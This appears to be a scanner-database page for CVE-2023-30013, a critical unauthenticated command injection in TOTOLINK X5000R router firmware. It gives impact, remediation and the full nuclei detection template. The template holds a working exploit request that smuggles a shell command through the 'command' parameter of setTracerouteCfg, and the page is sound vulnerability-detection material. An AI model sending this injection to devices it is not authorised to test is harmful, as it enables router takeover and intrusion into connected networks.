TOTOLink - Unauthenticated Command Injection

criticalseverity

9.8CVSS score

25.9%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

Impact

Unauthenticated attackers can execute arbitrary OS commands on the TOTOLINK X5000R router, leading to complete device compromise, network takeover, and potential access to all connected devices.

Fix

Upgrade to the latest firmware version from TOTOLINK or replace the affected device.

How to confirm it

Send: POST /cgi-bin/cstecgi.cgi ; GET /{{randstr}}
Positive when: contains in body_1 "lan_ip" and "reserv" AND contains in body_2 ".sh" and ".cgi" AND status 200

Run it with nuclei: nuclei -id CVE-2023-30013 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-30013

info:
  name: TOTOLink - Unauthenticated Command Injection
  author: gy741
  severity: critical
  description: |
    TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands on the TOTOLINK X5000R router, leading to complete device compromise, network takeover, and potential access to all connected devices.
  remediation: |
    Upgrade to the latest firmware version from TOTOLINK or replace the affected device.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30013
    - https://github.com/Kazamayc/vuln/tree/main/TOTOLINK/X5000R/2
    - http://packetstormsecurity.com/files/174799/TOTOLINK-Wireless-Routers-Remote-Command-Execution.html
    - https://github.com/h00die-gr3y/Metasploit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30013
    cwe-id: CWE-78
    epss-score: 0.25889
    epss-percentile: 0.97994
    cpe: cpe:2.3:o:totolink:x5000r_firmware:9.1.0u.6118_b20201102:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: totolink
    product: x5000r_firmware
  tags: cve2023,cve,packetstorm,totolink,unauth,rce,intrusive,vuln

http:
  - raw:
      - |
        POST /cgi-bin/cstecgi.cgi HTTP/1.1
        Host: {{Hostname}}

        {"command":"127.0.0.1; ls>../{{randstr}};#","num":"230","topicurl":"setTracerouteCfg"}
      - |
        GET /{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "lan_ip"
          - "reserv"
        condition: and

      - type: word
        part: body_2
        words:
          - ".sh"
          - ".cgi"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from